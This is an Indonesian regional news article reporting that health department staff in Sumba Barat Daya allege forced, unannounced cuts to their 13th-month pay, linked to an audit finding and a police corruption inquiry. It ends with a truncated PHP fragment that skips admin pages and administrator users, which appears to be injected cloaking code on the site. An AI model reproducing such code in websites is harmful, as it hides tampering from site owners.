Hukum/Kriminal/HAM

Beredar Keluhan Dugaan Pemotongan Paksa Gaji 13 di Lingkup Dinkes SBD, Pegawai Berencana Minta Klarifikasi dan Lapor

×

Beredar Keluhan Dugaan Pemotongan Paksa Gaji 13 di Lingkup Dinkes SBD, Pegawai Berencana Minta Klarifikasi dan Lapor

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Gaji ke-13 pegawai di lingkup Dinas Kesehatan Kabupaten Sumba Barat Daya (SBD), baik tenaga kesehatan maupun staf dinas, dikabarkan telah disalurkan melalui transfer ke rekening masing-masing.

Namun, sejumlah pegawai mengeluhkan adanya pemotongan pada nominal yang diterima.

Menurut sumber yang meminta identitasnya dirahasiakan, Rabu (24/06/2026), pemotongan tersebut diduga berkaitan dengan tindak lanjut atas hasil pemeriksaan yang disebut berasal dari temuan Badan Pemeriksa Keuangan (BPK).

“Pemotongan dilakukan langsung dari gaji 13 tanpa ada pemberitahuan atau konfirmasi kepada pegawai yang bersangkutan,” ujar sumber tersebut.

Sejumlah pegawai mengaku akan meminta penjelasan kepada pimpinan terkait pemotongan tersebut.

“Kami berencana meminta klarifikasi dan mempertimbangkan menyampaikan pengaduan ke Ombudsman,” kata salah satu pegawai yang enggan disebut namanya.

Pegawai tersebut menyebut nominal pemotongan berbeda-beda pada tiap pegawai.

“Ada yang 100 ribu lebih, ada yang 500 ribu, dan ada juga yang sampai 800 ribu lebih,” ungkap narasumber ini.

Sebelumnya, terdapat proses permintaan keterangan oleh penyidik Tipikor Polres SBD terkait persoalan dugaan korupsi Dinkes yang sedang ditangani.

Namun hingga kini belum ada pernyataan resmi yang menyatakan adanya pelanggaran hukum ataupun pihak yang ditetapkan bertanggung jawab, lantaran dokumen LHP belum dikantongi polisi.

Sekretaris Daerah Kabupaten SBD, Drs Edmundus Norbertus Nau, sebelumnya menyampaikan bahwa pemerintah daerah memenuhi permintaan klarifikasi sesuai kewenangan dan prosedur yang berlaku.

Sementara itu, Ketua KOMPAK Indonesia, Gabriel Goa menyatakan, pihaknya akan mengawal perkembangan penanganan persoalan tersebut dan mendorong proses dilakukan secara terbuka.

“Kami akan minta KPK RI lakukan supervisi dan ambil alih kasus ini jika terkesan lamban,” tegasnya.

Hingga berita ini diterbitkan, Kepala Dinas Kesehatan Kabupaten SBD, drg Yulianus Kaleka, yang dikonfirmasi redaksi melalui pesan WhatsApp belum memberikan tanggapan. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>